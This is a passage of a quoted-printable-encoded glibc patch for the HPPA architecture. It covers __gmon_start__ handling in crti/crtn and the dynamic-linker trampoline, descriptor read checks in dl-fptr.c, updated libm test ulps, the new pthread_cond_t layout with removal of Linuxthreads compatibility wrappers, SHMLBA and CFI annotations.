+    --davidm 02/10/29 */
+
+#if PREINIT_FUNCTION_WEAK
+/* This blob of assembly code is one simple C function:
+
+static void
+__attribute__ ((used))
+gmon_initializer (void)
+{
+  extern void weak_function __gmon_start__ (void);
+
+  if (__gmon_start__)
+    (*__gmon_start__)();
+}
+
+In a final executable, PLABEL32 relocations for function pointers are
+resolved at link time.  Typically, binutils/ld resolves __gmon_start__
+using an external shared library.  __gmon_start__ is always called if
+it is found at link time.  If __gmon_start__ is not found at runtime
+due to a library update, then the function pointer will point at a null
+function descriptor and calling it will cause a segmentation fault.
+So, we call __canonicalize_funcptr_for_compare to obtain the =
canonicalized
+address of __gmon_start__ and skip calling __gmon_start__ if it is =
zero.
+
+ */
+	.type __canonicalize_funcptr_for_compare,@function
+	.type $$dyncall,@function
+
+	.section .data.rel.ro,"aw",@progbits
+	.align 4
+.LC0:
+	.type __gmon_start__,@function
+	.word P%__gmon_start__
+
+	.text
+	.align 4
+	.type gmon_initializer,@function
+gmon_initializer:
+	.PROC
+	.CALLINFO FRAME=3D64,CALLS,SAVE_RP,ENTRY_GR=3D4
+	.ENTRY
+	stw %r2,-20(%r30)
+	stwm %r4,64(%r30)
+	stw %r3,-60(%r30)
+	addil LT'.LC0,%r19
+	ldw RT'.LC0(%r1),%r28
+	ldw 0(%r28),%r3
+	comib,=3D 0,%r3,1f
+	copy %r19,%r4
+	stw %r19,-32(%r30)
+	bl __canonicalize_funcptr_for_compare,%r2
+	copy %r3,%r26
+	comib,=3D 0,%r28,1f
+	copy %r4,%r19
+	copy %r3,%r22
+	.CALL ARGW0=3DGR
+	bl $$dyncall,%r31
+	copy %r31,%r2
+1:
+	ldw -84(%r30),%r2
+	ldw -60(%r30),%r3
+	bv %r0(%r2)
+	ldwm -64(%r30),%r4
+	.EXIT
+	.PROCEND
+	.size gmon_initializer, .-gmon_initializer
+
+# undef PREINIT_FUNCTION
+# define PREINIT_FUNCTION gmon_initializer
+#endif
+
+	.section .init_array, "aw"
+	.word P% PREINIT_FUNCTION
+
+
 /* _init prologue.  */
 	.section .init, "ax", %progbits
 	.align 4
@@ -58,14 +147,6 @@ _init:
 	stw	%rp,-20(%sp)
 	stwm	%r4,64(%sp)
 	stw	%r19,-32(%sp)
-#if PREINIT_FUNCTION_WEAK
-	bl	PREINIT_FUNCTION,%rp
-	copy	%r19,%r4	/* delay slot */
-#else
-	bl	PREINIT_FUNCTION,%rp
-	copy	%r19,%r4	/* delay slot */
-#endif
-	copy	%r4,%r19
=20
 /* _fini prologue.  */
         .section .fini,"ax",%progbits
diff --git a/sysdeps/hppa/crtn.S b/sysdeps/hppa/crtn.S
index 42f310d217..49666b81f9 100644
--- a/sysdeps/hppa/crtn.S
+++ b/sysdeps/hppa/crtn.S
@@ -38,27 +38,6 @@
 /* crtn.S puts function epilogues in the .init and .fini sections
    corresponding to the prologues in crti.S. */
=20
-/* Note that we cannot have a weak undefined __gmon_start__, because
-   that would require this to be PIC, and the linker is currently not
-   able to generate a proper procedure descriptor for _init.  Sad but
-   true.  Anyway, HPPA is one of those horrible architectures where
-   making the comparison and indirect call is quite expensive (see the
-   comment in sysdeps/generic/initfini.c). */
-        .text
-        .align 4
-        .weak   __gmon_start__
-        .type    __gmon_start__,@function
-__gmon_start__:
-	.proc
-	.callinfo
-	.entry
-        bv,n %r0(%r2)
-	.exit
-	.procend
-
-/* Here is the tail end of _init.  We put __gmon_start before this so
-   that the assembler creates the .PARISC.unwind section for us, ie.
-   with the right attributes.  */
 	.section .init, "ax", @progbits
 	ldw	-84(%sp),%rp
 	copy	%r4,%r19
diff --git a/sysdeps/hppa/dl-fptr.c b/sysdeps/hppa/dl-fptr.c
index 83bdb91202..96fd09d192 100644
--- a/sysdeps/hppa/dl-fptr.c
+++ b/sysdeps/hppa/dl-fptr.c
@@ -28,6 +28,7 @@
 #include <dl-fptr.h>
 #include <dl-unmap-segments.h>
 #include <atomic.h>
+#include <libc-pointer-arith.h>
=20
 #ifndef ELF_MACHINE_BOOT_FPTR_TABLE_LEN
 /* ELF_MACHINE_BOOT_FPTR_TABLE_LEN should be greater than the number of
@@ -181,24 +182,29 @@ make_fdesc (ElfW(Addr) ip, ElfW(Addr) gp)
 static inline ElfW(Addr) * __attribute__ ((always_inline))
 make_fptr_table (struct link_map *map)
 {
-  const ElfW(Sym) *symtab
-    =3D (const void *) D_PTR (map, l_info[DT_SYMTAB]);
+  const ElfW(Sym) *symtab =3D (const void *) D_PTR (map, =
l_info[DT_SYMTAB]);
   const char *strtab =3D (const void *) D_PTR (map, l_info[DT_STRTAB]);
   ElfW(Addr) *fptr_table;
   size_t size;
   size_t len;
+  const ElfW(Sym) *symtabend;
=20
-  /* XXX Apparently the only way to find out the size of the dynamic
-     symbol section is to assume that the string table follows right
-     afterwards...  */
-  len =3D ((strtab - (char *) symtab)
+  /* Determine the end of the dynamic symbol table using the hash.  */
+  if (map->l_info[DT_HASH] !=3D NULL)
+    symtabend =3D (symtab + ((Elf_Symndx *) D_PTR (map, =
l_info[DT_HASH]))[1]);
+  else
+  /* There is no direct way to determine the number of symbols in the
+     dynamic symbol table and no hash table is present.  The ELF
+     binary is ill-formed but what shall we do?  Use the beginning of
+     the string table which generally follows the symbol table.  */
+    symtabend =3D (const ElfW(Sym) *) strtab;
+
+  len =3D (((char *) symtabend - (char *) symtab)
 	 / map->l_info[DT_SYMENT]->d_un.d_val);
-  size =3D ((len * sizeof (fptr_table[0]) + GLRO(dl_pagesize) - 1)
-	  & -GLRO(dl_pagesize));
-  /* XXX We don't support here in the moment systems without MAP_ANON.
-     There probably are none for IA-64.  In case this is proven wrong
-     we will have to open /dev/null here and use the file descriptor
-     instead of the hard-coded -1.  */
+  size =3D ALIGN_UP (len * sizeof (fptr_table[0]), GLRO(dl_pagesize));
+
+  /* We don't support systems without MAP_ANON.  We avoid using malloc
+     because this might get called before malloc is setup.  */
   fptr_table =3D __mmap (NULL, size,
 		       PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE,
 		       -1, 0);
@@ -331,22 +337,45 @@ elf_machine_resolve (void)
   return addr;
 }
=20
+static inline int
+_dl_read_access_allowed (unsigned int *addr)
+{
+  int result;
+
+  asm ("proberi	(%1),3,%0" : "=3Dr" (result) : "r" (addr) : );
+
+  return result;
+}
+
 ElfW(Addr)
 _dl_lookup_address (const void *address)
 {
   ElfW(Addr) addr =3D (ElfW(Addr)) address;
   unsigned int *desc, *gptr;
=20
-  /* Check for special cases.  */
-  if ((int) addr =3D=3D -1
-      || (unsigned int) addr < 4096
-      || !((unsigned int) addr & 2))
+  /* Return ADDR if the least-significant two bits of ADDR are not =
consistent
+     with ADDR being a linker defined function pointer.  The normal =
value for
+     a code address in a backtrace is 3.  */
+  if (((unsigned int) addr & 3) !=3D 2)
+    return addr;
+
+  /* Handle special case where ADDR points to page 0.  */
+  if ((unsigned int) addr < 4096)
     return addr;
=20
   /* Clear least-significant two bits from descriptor address.  */
   desc =3D (unsigned int *) ((unsigned int) addr & ~3);
+  if (!_dl_read_access_allowed (desc))
+    return addr;
=20
-  /* Check if descriptor requires resolution.  The following trampoline =
is
+  /* Load first word of candidate descriptor.  It should be a pointer
+     with word alignment and point to memory that can be read.  */
+  gptr =3D (unsigned int *) desc[0];
+  if (((unsigned int) gptr & 3) !=3D 0
+      || !_dl_read_access_allowed (gptr))
+    return addr;
+
+  /* See if descriptor requires resolution.  The following trampoline =
is
      used in each global offset table for function resolution:
=20
 		ldw 0(r20),r22
@@ -358,7 +387,6 @@ _dl_lookup_address (const void *address)
 		.word "_dl_runtime_resolve ltp"
      got:	.word _DYNAMIC
 		.word "struct link map address" */
-  gptr =3D (unsigned int *) desc[0];
   if (gptr[0] =3D=3D 0xea9f1fdd			/* b,l .-12,r20  =
   */
       && gptr[1] =3D=3D 0xd6801c1e			/* depwi =
0,31,2,r20 */
       && (ElfW(Addr)) gptr[2] =3D=3D elf_machine_resolve ())
diff --git a/sysdeps/hppa/dl-trampoline.S b/sysdeps/hppa/dl-trampoline.S
index 856339bffe..f1294a931f 100644
--- a/sysdeps/hppa/dl-trampoline.S
+++ b/sysdeps/hppa/dl-trampoline.S
@@ -82,6 +82,11 @@ _dl_runtime_resolve:
 	bl	_dl_fixup,%rp
 	copy	%r21,%r19		/* set fixup func ltp */
=20
+	/* Sometimes a final executable may attempt to call an undefined
+	   weak function (e.g., __gmon_start__).  Return if the function
+	   was not resolved by _dl_fixup */
+	comib,=3D	0,%r28,1f
+
 	/* Load up the returned func descriptor */
 	copy	%r28, %r22
 	copy	%r29, %r19
@@ -107,6 +112,13 @@ _dl_runtime_resolve:
 	/* Jump to new function, but return to previous function */
 	bv	%r0(%r22)
 	ldw	-20(%sp),%rp
+
+1:
+	/* Return to previous function */
+	ldw	-148(%sp),%rp
+	bv	%r0(%rp)
+	ldo	-128(%sp),%sp
+
         .EXIT
         .PROCEND
 	cfi_endproc
diff --git a/sysdeps/hppa/fpu/libm-test-ulps =
b/sysdeps/hppa/fpu/libm-test-ulps
index b5c8e7ccde..6e2058391d 100644
--- a/sysdeps/hppa/fpu/libm-test-ulps
+++ b/sysdeps/hppa/fpu/libm-test-ulps
@@ -184,15 +184,15 @@ idouble: 1
 ifloat: 2
=20
 Function: Imaginary part of "cacos":
-double: 1
+double: 2
 float: 2
-idouble: 1
+idouble: 2
 ifloat: 2
=20
 Function: Real part of "cacos_downward":
-double: 2
+double: 3
 float: 2
-idouble: 2
+idouble: 3
 ifloat: 2
=20
 Function: Imaginary part of "cacos_downward":
@@ -202,9 +202,9 @@ idouble: 5
 ifloat: 3
=20
 Function: Real part of "cacos_towardzero":
-double: 2
+double: 3
 float: 2
-idouble: 2
+idouble: 3
 ifloat: 2
=20
 Function: Imaginary part of "cacos_towardzero":
@@ -220,15 +220,15 @@ idouble: 2
 ifloat: 2
=20
 Function: Imaginary part of "cacos_upward":
-double: 4
-float: 4
-idouble: 4
-ifloat: 4
+double: 5
+float: 7
+idouble: 5
+ifloat: 7
=20
 Function: Real part of "cacosh":
-double: 1
+double: 2
 float: 2
-idouble: 1
+idouble: 2
 ifloat: 2
=20
 Function: Imaginary part of "cacosh":
@@ -244,10 +244,10 @@ idouble: 5
 ifloat: 3
=20
 Function: Imaginary part of "cacosh_downward":
-double: 2
-float: 2
-idouble: 2
-ifloat: 2
+double: 3
+float: 3
+idouble: 3
+ifloat: 3
=20
 Function: Real part of "cacosh_towardzero":
 double: 5
@@ -256,9 +256,9 @@ idouble: 5
 ifloat: 3
=20
 Function: Imaginary part of "cacosh_towardzero":
-double: 2
+double: 3
 float: 2
-idouble: 2
+idouble: 3
 ifloat: 2
=20
 Function: Real part of "cacosh_upward":
@@ -268,9 +268,9 @@ idouble: 4
 ifloat: 4
=20
 Function: Imaginary part of "cacosh_upward":
-double: 2
+double: 3
 float: 2
-idouble: 2
+idouble: 3
 ifloat: 2
=20
 Function: "carg":
@@ -304,16 +304,16 @@ ildouble: 1
 ldouble: 1
=20
 Function: Imaginary part of "casin":
-double: 1
+double: 2
 float: 2
-idouble: 1
+idouble: 2
 ifloat: 2
=20
 Function: Real part of "casin_downward":
 double: 3
-float: 1
+float: 2
 idouble: 3
-ifloat: 1
+ifloat: 2
=20
 Function: Imaginary part of "casin_downward":
 double: 5
@@ -334,16 +334,16 @@ idouble: 5
 ifloat: 3
=20
 Function: Real part of "casin_upward":
-double: 2
-float: 1
-idouble: 2
-ifloat: 1
+double: 3
+float: 2
+idouble: 3
+ifloat: 2
=20
 Function: Imaginary part of "casin_upward":
-double: 4
-float: 4
-idouble: 4
-ifloat: 4
+double: 5
+float: 7
+idouble: 5
+ifloat: 7
=20
 Function: Real part of "casinh":
 double: 5
@@ -369,9 +369,9 @@ ifloat: 3
=20
 Function: Imaginary part of "casinh_downward":
 double: 3
-float: 1
+float: 2
 idouble: 3
-ifloat: 1
+ifloat: 2
=20
 Function: Real part of "casinh_towardzero":
 double: 5
@@ -386,19 +386,21 @@ idouble: 3
 ifloat: 1
=20
 Function: Real part of "casinh_upward":
-double: 4
-float: 4
-idouble: 4
-ifloat: 4
+double: 5
+float: 7
+idouble: 5
+ifloat: 7
=20
 Function: Imaginary part of "casinh_upward":
-double: 2
+double: 3
 float: 2
-idouble: 2
+idouble: 3
 ifloat: 2
=20
 Function: Real part of "catan":
+double: 1
 float: 1
+idouble: 1
 ifloat: 1
=20
 Function: Imaginary part of "catan":
@@ -411,9 +413,9 @@ ldouble: 1
=20
 Function: Real part of "catan_downward":
 double: 1
-float: 1
+float: 2
 idouble: 1
-ifloat: 1
+ifloat: 2
=20
 Function: Imaginary part of "catan_downward":
 double: 2
@@ -423,15 +425,15 @@ ifloat: 2
=20
 Function: Real part of "catan_towardzero":
 double: 1
-float: 1
+float: 2
 idouble: 1
-ifloat: 1
+ifloat: 2
=20
 Function: Imaginary part of "catan_towardzero":
 double: 2
-float: 1
+float: 2
 idouble: 2
-ifloat: 1
+ifloat: 2
=20
 Function: Real part of "catan_upward":
 double: 1
@@ -454,7 +456,9 @@ ildouble: 4
 ldouble: 4
=20
 Function: Imaginary part of "catanh":
+double: 1
 float: 1
+idouble: 1
 ifloat: 1
=20
 Function: Real part of "catanh_downward":
@@ -471,9 +475,9 @@ ifloat: 2
=20
 Function: Real part of "catanh_towardzero":
 double: 2
-float: 1
+float: 2
 idouble: 2
-ifloat: 1
+ifloat: 2
=20
 Function: Imaginary part of "catanh_towardzero":
 double: 1
@@ -483,9 +487,9 @@ ifloat: 2
=20
 Function: Real part of "catanh_upward":
 double: 4
-float: 3
+float: 4
 idouble: 4
-ifloat: 3
+ifloat: 4
=20
 Function: Imaginary part of "catanh_upward":
 double: 1
diff --git a/sysdeps/hppa/nptl/bits/pthreadtypes.h =
b/sysdeps/hppa/nptl/bits/pthreadtypes.h
index e37111a2f3..4f742bfaa6 100644
--- a/sysdeps/hppa/nptl/bits/pthreadtypes.h
+++ b/sysdeps/hppa/nptl/bits/pthreadtypes.h
@@ -103,39 +103,32 @@ typedef union
   long int __align;
 } pthread_mutexattr_t;
=20
-
-/* Data structure for conditional variable handling.  The structure of
-   the attribute type is not exposed on purpose. However, this =
structure
-   is exposed via PTHREAD_COND_INITIALIZER, and because of this, the
-   Linuxthreads version sets the first four ints to one. In the NPTL
-   version we must check, in every function using pthread_cond_t,
-   for the static Linuxthreads initializer and clear the appropriate
-   words. */
+/* Data structure for conditional variable handling. */
 typedef union
 {
   struct
   {
-    /* In the old Linuxthreads pthread_cond_t, this is the
-       start of the 4-word lock structure, the next four words
-       are set all to 1 by the Linuxthreads
-       PTHREAD_COND_INITIALIZER.  */
-    int __lock __attribute__ ((__aligned__(16)));
-    /* Tracks the initialization of this structure:
-       0  initialized with NPTL PTHREAD_COND_INITIALIZER.
-       1  initialized with Linuxthreads PTHREAD_COND_INITIALIZER.
-       2  initialization in progress.  */
-    int __initializer;
-    unsigned int __futex;
-    void *__mutex;
-    /* In the old Linuxthreads this would have been the start
-       of the pthread_fastlock status word.  */
-    __extension__ unsigned long long int __total_seq;
-    __extension__ unsigned long long int __wakeup_seq;
-    __extension__ unsigned long long int __woken_seq;
-    unsigned int __nwaiters;
-    unsigned int __broadcast_seq;
-    /* The NPTL pthread_cond_t is exactly the same size as
-       the Linuxthreads version, there are no words to spare.  */
+    __extension__ union
+    {
+      __extension__ unsigned long long int __wseq;
+      struct {
+	unsigned int __low;
+	unsigned int __high;
+      } __wseq32;
+    } __attribute__ ((__aligned__(16)));
+    __extension__ union
+    {
+      __extension__ unsigned long long int __g1_start;
+      struct {
+	unsigned int __low;
+        unsigned int __high;
+      } __g1_start32;
+    };
+    unsigned int __g_refs[2];
+    unsigned int __g_size[2];
+    unsigned int __g1_orig_size;
+    unsigned int __wrefs;
+    unsigned int __g_signals[2];
   } __data;
   char __size[__SIZEOF_PTHREAD_COND_T];
   __extension__ long long int __align;
diff --git a/sysdeps/unix/sysv/linux/hppa/bits/shm.h =
b/sysdeps/unix/sysv/linux/hppa/bits/shm.h
index 794f0ab2da..52632d0dea 100644
--- a/sysdeps/unix/sysv/linux/hppa/bits/shm.h
+++ b/sysdeps/unix/sysv/linux/hppa/bits/shm.h
@@ -37,7 +37,7 @@
 #define SHM_UNLOCK	12		/* unlock segment (root only) */
=20
 /* Segment low boundary address multiple.  */
-#define SHMLBA 0x00400000		/* address needs to be 4 Mb =
aligned */
+#define SHMLBA		(__getpagesize ())
=20
 /* Type to count number of attaches.  */
 typedef unsigned long int shmatt_t;
diff --git a/sysdeps/unix/sysv/linux/hppa/clone.S =
b/sysdeps/unix/sysv/linux/hppa/clone.S
index d36b302199..46ee6972d3 100644
--- a/sysdeps/unix/sysv/linux/hppa/clone.S
+++ b/sysdeps/unix/sysv/linux/hppa/clone.S
@@ -64,9 +64,12 @@
 ENTRY(__clone)
 	/* Prologue */
 	stwm	%r4, 64(%sp)
+	.cfi_def_cfa_offset -64
+	.cfi_offset 4, 0
 	stw	%sp, -4(%sp)
 #ifdef PIC
 	stw	%r19, -32(%sp)
+	.cfi_offset 19, 32
 #endif
=20
 	/* Sanity check arguments.  */
diff --git a/sysdeps/unix/sysv/linux/hppa/getcontext.S =
b/sysdeps/unix/sysv/linux/hppa/getcontext.S
index 6f52f2149d..68a74a0b7e 100644
--- a/sysdeps/unix/sysv/linux/hppa/getcontext.S
+++ b/sysdeps/unix/sysv/linux/hppa/getcontext.S
@@ -130,8 +130,11 @@ ENTRY(__getcontext)
=20
 	/* Prologue */
 	stwm	%r4, 64(%sp)
+	.cfi_def_cfa_offset -64
+	.cfi_offset 4, 0
 #ifdef PIC
 	stw	%r19, -32(%sp)
+	.cfi_offset 19, 32
 #endif
=20
 	/* Set up the trampoline registers.
@@ -156,7 +159,7 @@ ENTRY(__getcontext)
 	/* Epilogue */
 	ldw	-84(%sp), %r2
 #ifdef PIC
-	ldw	-96(%sp), %r19
+	ldw	-32(%sp), %r19
 #endif
 	bv	%r0(%r2)
 	ldwm	-64(%sp), %r4
diff --git a/sysdeps/unix/sysv/linux/hppa/internaltypes.h =
b/sysdeps/unix/sysv/linux/hppa/internaltypes.h
deleted file mode 100644
index d6496579da..0000000000
--- a/sysdeps/unix/sysv/linux/hppa/internaltypes.h
+++ /dev/null
@@ -1,84 +0,0 @@
-#include_next <internaltypes.h>
-#ifndef _INTERNAL_TYPES_H_HPPA_
-#define _INTERNAL_TYPES_H_HPPA_ 1
-#include <atomic.h>
-
-/* In GLIBC 2.10 HPPA switched from Linuxthreads to NPTL, and in order
-to maintain ABI compatibility with pthread_cond_t, some care had to be
-taken.
-
-The NPTL pthread_cond_t grew in size. When HPPA switched to NPTL, we
-dropped the use of ldcw, and switched to the kernel helper routine for
-compare-and-swap.  This allowed HPPA to use the 4-word 16-byte aligned
-lock words, and alignment words to store the additional pthread_cond_t
-data. Once organized properly the new NPTL pthread_cond_t was 1 word
-smaller than the Linuxthreads version.
-
-However, we were faced with the case that users may have initialized =
the
-pthread_cond_t with PTHREAD_COND_INITIALIZER. In this case, the first
-four words were set to one, and must be cleared before any NPTL code
-used these words.
-
-We didn't want to use LDCW, because it continues to be a source of bugs
-when applications memset pthread_cond_t to all zeroes by accident. This
-works on all other architectures where lock words are unlocked at zero.
-Remember that because of the semantics of LDCW, a locked word is set to
-zero, and an unlocked word is set to 1.
-
-Instead we used atomic_compare_and_exchange_val_acq, but we couldn't =
use
-this on any of the pthread_cond_t words, otherwise it might interfere
-with the current operation of the structure. To solve this problem we
-used the left over word.
-
-If the stucture was initialized by a legacy Linuxthread
-PTHREAD_COND_INITIALIZER it contained a 1, and this indicates that the
-structure requires zeroing for NPTL. The first thread to come upon a
-pthread_cond_t with a 1 in the __initializer field, will
-compare-and-swap the value, placing a 2 there which will cause all =
other
-threads using the same pthread_cond_t to wait for the completion of the
-initialization. Lastly, we use a store (with memory barrier) to change
-__initializer from 2 to 0. Note that the store is strongly ordered, but
-we use the PA 1.1 compatible form which is ",ma" with zero offset.
-
-In the future, when the application is recompiled with NPTL
-PTHREAD_COND_INITIALIZER it will be a quick compare-and-swap, which
-fails because __initializer is zero, and the structure will be used as
-is correctly.  */
-
-#define cond_compat_clear(var) \
-({									=
\
-  int tmp =3D 0;								=
\
-  var->__data.__wseq =3D 0;						=
\
-  var->__data.__signals_sent =3D 0;					=
\
-  var->__data.__confirmed =3D 0;						=
\
-  var->__data.__generation =3D 0;						=
\
-  var->__data.__mutex =3D NULL;						=
\
-  var->__data.__quiescence_waiters =3D 0;					=
\
-  var->__data.__clockid =3D 0;						=
\
-  /* Clear __initializer last, to indicate initialization is done.  */	=
\
-  /* This synchronizes-with the acquire load below.  */			=
\
-  atomic_store_release (&var->__data.__initializer, 0);			=
\
-})
-
-#define cond_compat_check_and_clear(var) \
-({								\
-  int v;							\
-  int *value =3D &var->__data.__initializer;			\
-  /* This synchronizes-with the release store above.  */	\
-  while ((v =3D atomic_load_acquire (value)) !=3D 0)		\
-    {								\
-      if (v =3D=3D 1						\
-	  /* Relaxed MO is fine; it only matters who's first.  */        =
\
-	  && atomic_compare_exchange_acquire_weak_relaxed (value, 1, 2)) =
\
-	{							\
-	  /* We're first; initialize structure.  */		\
-	  cond_compat_clear (var);				\
-	  break;						\
-	}							\
-      else							\
-	/* Yield before we re-check initialization status.  */	\
-	sched_yield ();						\
-    }								\
-})
-
-#endif
diff --git a/sysdeps/unix/sysv/linux/hppa/pt-vfork.S =
b/sysdeps/unix/sysv/linux/hppa/pt-vfork.S
index fc4573c86b..8b7d7df2fe 100644
--- a/sysdeps/unix/sysv/linux/hppa/pt-vfork.S
+++ b/sysdeps/unix/sysv/linux/hppa/pt-vfork.S
@@ -58,7 +58,10 @@ ENTRY(__vfork)
 	   that there is no child now, so it's safe to create
 	   a frame.  */
 	stw	%rp, -20(%sp)
+	.cfi_offset 2, -20
 	stwm	%r3, 64(%sp)
+	.cfi_def_cfa_offset -64
+	.cfi_offset 3, 0
 	stw	%sp, -4(%sp)
=20
 	sub	%r0,%ret0,%r3
diff --git a/sysdeps/unix/sysv/linux/hppa/pthread.h =
b/sysdeps/unix/sysv/linux/hppa/pthread.h
index ac617201d2..d3b960edd4 100644
--- a/sysdeps/unix/sysv/linux/hppa/pthread.h
+++ b/sysdeps/unix/sysv/linux/hppa/pthread.h
@@ -185,7 +185,7 @@ enum
=20
=20
 /* Conditional variable handling.  */
-#define PTHREAD_COND_INITIALIZER { { 0, 0, 0, 0, 0, (void *) 0, 0, 0 } =
}
+#define PTHREAD_COND_INITIALIZER { { {0}, {0}, {0, 0}, {0, 0}, 0, 0, =
{0, 0} } }
=20
=20
 /* Cleanup buffers */
@@ -1165,12 +1165,6 @@ __END_DECLS
 #ifndef _PTHREAD_H_HPPA_
 #define _PTHREAD_H_HPPA_ 1
=20
-/* The pthread_cond_t initializer is compatible only with NPTL. We do =
not
-   want to be forwards compatible, we eventually want to drop the code
-   that has to clear the old LT initializer.  */
-#undef PTHREAD_COND_INITIALIZER
-#define PTHREAD_COND_INITIALIZER { { 0, 0, 0, (void *) 0, 0, 0, 0, 0, 0 =
} }
-
 /* The pthread_mutex_t and pthread_rwlock_t initializers are compatible
    only with NPTL. NPTL assumes pthread_rwlock_t is all zero.  */
 #undef PTHREAD_MUTEX_INITIALIZER
diff --git a/sysdeps/unix/sysv/linux/hppa/pthread_cond_broadcast.c =
b/sysdeps/unix/sysv/linux/hppa/pthread_cond_broadcast.c
deleted file mode 100644
index a6f9f5d433..0000000000
--- a/sysdeps/unix/sysv/linux/hppa/pthread_cond_broadcast.c
+++ /dev/null
@@ -1,40 +0,0 @@
-/* Copyright (C) 2009-2017 Free Software Foundation, Inc.
-   This file is part of the GNU C Library.
-   Contributed by Carlos O'Donell <carlos@codesourcery.com>, 2009.
-
-   The GNU C Library is free software; you can redistribute it and/or
-   modify it under the terms of the GNU Lesser General Public
-   License as published by the Free Software Foundation; either
-   version 2.1 of the License, or (at your option) any later version.
-
-   The GNU C Library is distributed in the hope that it will be useful,
-   but WITHOUT ANY WARRANTY; without even the implied warranty of
-   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-   Lesser General Public License for more details.
-
-   You should have received a copy of the GNU Lesser General Public
-   License along with the GNU C Library.  If not, see
-   <http://www.gnu.org/licenses/>.  */
-
-#ifndef INCLUDED_SELF
-# define INCLUDED_SELF
-# include <pthread_cond_broadcast.c>
-#else
-# include <pthread.h>
-# include <pthreadP.h>
-# include <internaltypes.h>
-# include <shlib-compat.h>
-int
-__pthread_cond_broadcast (pthread_cond_t *cond)
-{
-  cond_compat_check_and_clear (cond);
-  return __pthread_cond_broadcast_internal (cond);
-}
-versioned_symbol (libpthread, __pthread_cond_broadcast, =
pthread_cond_broadcast,
-                  GLIBC_2_3_2);
-# undef versioned_symbol
-# define versioned_symbol(lib, local, symbol, version)
-# undef __pthread_cond_broadcast
-# define __pthread_cond_broadcast __pthread_cond_broadcast_internal
-# include_next <pthread_cond_broadcast.c>
-#endif
diff --git a/sysdeps/unix/sysv/linux/hppa/pthread_cond_destroy.c =
b/sysdeps/unix/sysv/linux/hppa/pthread_cond_destroy.c
deleted file mode 100644
index 49af087bb4..0000000000
--- a/sysdeps/unix/sysv/linux/hppa/pthread_cond_destroy.c
+++ /dev/null
@@ -1,40 +0,0 @@
-/* Copyright (C) 2009-2017 Free Software Foundation, Inc.
-   This file is part of the GNU C Library.
-   Contributed by Carlos O'Donell <carlos@codesourcery.com>, 2009.
-
-   The GNU C Library is free software; you can redistribute it and/or
-   modify it under the terms of the GNU Lesser General Public
-   License as published by the Free Software Foundation; either
-   version 2.1 of the License, or (at your option) any later version.
-
-   The GNU C Library is distributed in the hope that it will be useful,
-   but WITHOUT ANY WARRANTY; without even the implied warranty of
-   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-   Lesser General Public License for more details.
-
-   You should have received a copy of the GNU Lesser General Public
-   License along with the GNU C Library.  If not, see
-   <http://www.gnu.org/licenses/>.  */
-
-#ifndef INCLUDED_SELF
-# define INCLUDED_SELF
-# include <pthread_cond_destroy.c>
-#else
-# include <pthread.h>
-# include <pthreadP.h>
-# include <internaltypes.h>
-# include <shlib-compat.h>
-int
-__pthread_cond_destroy (pthread_cond_t *cond)
-{
-  cond_compat_check_and_clear (cond);
-  return __pthread_cond_destroy_internal (cond);
-}
-versioned_symbol (libpthread, __pthread_cond_destroy, =
pthread_cond_destroy,
-                  GLIBC_2_3_2);
-# undef versioned_symbol
-# define versioned_symbol(lib, local, symbol, version)
-# undef __pthread_cond_destroy
-# define __pthread_cond_destroy __pthread_cond_destroy_internal
-# include_next <pthread_cond_destroy.c>
-#endif
diff --git a/sysdeps/unix/sysv/linux/hppa/pthread_cond_init.c =
b/sysdeps/unix/sysv/linux/hppa/pthread_cond_init.c
deleted file mode 100644
index ccb3de07ff..0000000000
--- a/sysdeps/unix/sysv/linux/hppa/pthread_cond_init.c
+++ /dev/null
@@ -1,40 +0,0 @@
-/* Copyright (C) 2009-2017 Free Software Foundation, Inc.
-   This file is part of the GNU C Library.
-   Contributed by Carlos O'Donell <carlos@codesourcery.com>, 2009.
-
-   The GNU C Library is free software; you can redistribute it and/or
-   modify it under the terms of the GNU Lesser General Public
-   License as published by the Free Software Foundation; either
-   version 2.1 of the License, or (at your option) any later version.
-
-   The GNU C Library is distributed in the hope that it will be useful,
-   but WITHOUT ANY WARRANTY; without even the implied warranty of
-   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-   Lesser General Public License for more details.
-
-   You should have received a copy of the GNU Lesser General Public
-   License along with the GNU C Library.  If not, see
-   <http://www.gnu.org/licenses/>.  */
-
-#ifndef INCLUDED_SELF
-# define INCLUDED_SELF
-# include <pthread_cond_init.c>
-#else
-# include <pthread.h>
-# include <pthreadP.h>
-# include <internaltypes.h>
-# include <shlib-compat.h>
-int
-__pthread_cond_init (pthread_cond_t *cond, const pthread_condattr_t =
*cond_attr)
-{
-  cond_compat_clear (cond);
-  return __pthread_cond_init_internal (cond, cond_attr);
-}
-versioned_symbol (libpthread, __pthread_cond_init, pthread_cond_init,
-                  GLIBC_2_3_2);
-# undef versioned_symbol
-# define versioned_symbol(lib, local, symbol, version)
-# undef __pthread_cond_init
-# define __pthread_cond_init __pthread_cond_init_internal
-# include_next <pthread_cond_init.c>
-#endif
diff --git a/sysdeps/unix/sysv/linux/hppa/pthread_cond_signal.c =
b/sysdeps/unix/sysv/linux/hppa/pthread_cond_signal.c
deleted file mode 100644
index 2bf32af933..0000000000
--- a/sysdeps/unix/sysv/linux/hppa/pthread_cond_signal.c
+++ /dev/null
@@ -1,40 +0,0 @@
-/* Copyright (C) 2009-2017 Free Software Foundation, Inc.
-   This file is part of the GNU C Library.
-   Contributed by Carlos O'Donell <carlos@codesourcery.com>, 2009.
-
-   The GNU C Library is free software; you can redistribute it and/or
-   modify it under the terms of the GNU Lesser General Public
-   License as published by the Free Software Foundation; either
-   version 2.1 of the License, or (at your option) any later version.
-
-   The GNU C Library is distributed in the hope that it will be useful,
-   but WITHOUT ANY WARRANTY; without even the implied warranty of
-   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-   Lesser General Public License for more details.
-
-   You should have received a copy of the GNU Lesser General Public
-   License along with the GNU C Library.  If not, see
-   <http://www.gnu.org/licenses/>.  */
-
-#ifndef INCLUDED_SELF
-# define INCLUDED_SELF
-# include <pthread_cond_signal.c>
-#else
-# include <pthread.h>
-# include <pthreadP.h>
-# include <internaltypes.h>
-# include <shlib-compat.h>
-int
-__pthread_cond_signal (pthread_cond_t *cond)
-{
-  cond_compat_check_and_clear (cond);
-  return __pthread_cond_signal_internal (cond);
-}
